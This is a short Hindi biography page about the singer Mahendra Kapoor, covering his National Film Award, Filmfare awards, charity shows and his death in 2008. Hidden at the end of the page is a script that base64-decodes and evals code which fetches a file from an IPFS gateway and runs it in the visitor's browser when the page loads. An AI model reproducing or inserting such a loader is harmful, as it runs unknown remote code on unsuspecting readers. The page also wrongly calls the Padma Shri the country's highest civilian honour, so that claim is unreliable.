अपने लम्बे कैरियर में महेन्द्र कपूर ने कई पुरस्कार प्राप्त किये। सन 1968 में 'उपकार' फ़िल्म के गीत "मेरे देश की धरती सोना उगले" के लिए महेन्द्र कपूर को 'राष्ट्रीय फ़िल्म पुरस्कार' मिला था। इसके अतिरिक्त 1964, 1968 और 1975 में उनको 'फ़िल्म फ़ेयर अवार्ड' से भी सम्मानित किया गया। इसके अलावा महाराष्ट्र की सरकार ने उन्हें 'लता मंगेशकर पुरस्कार' से भी सम्मानित किया। देश-विदेश में उन्होंने अनेक चेरिटी शो किए। सुनील दत्त और नर्गिस के साथ सीमा पर तैनात फौजी जवानों के लिए उन्होंने कार्यक्रम दिए। भारत सरकार ने उन्हें सर्वोच्च नागरिक सम्मान 'पद्मश्री' प्रदान करके इस गायक का मान बढ़ाया।

निधन

27 सितंबर, 2008 को 74 वर्ष की आयु में दिल का दौरा पड़ने से महेन्द्र कपूर का निधन हो गया, लेकिन आज भी उनके सदाबहार नगमें कानों में मिश्री घोलते हैं। आज भले ही महेन्द्र कपूर हमारे बीच नहीं है, लेकिन वे एक ऐसी विरासत छोड़कर गए हैं, जहाँ उनकी आवाज़ का जादू हमेशा बना रहेगा।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>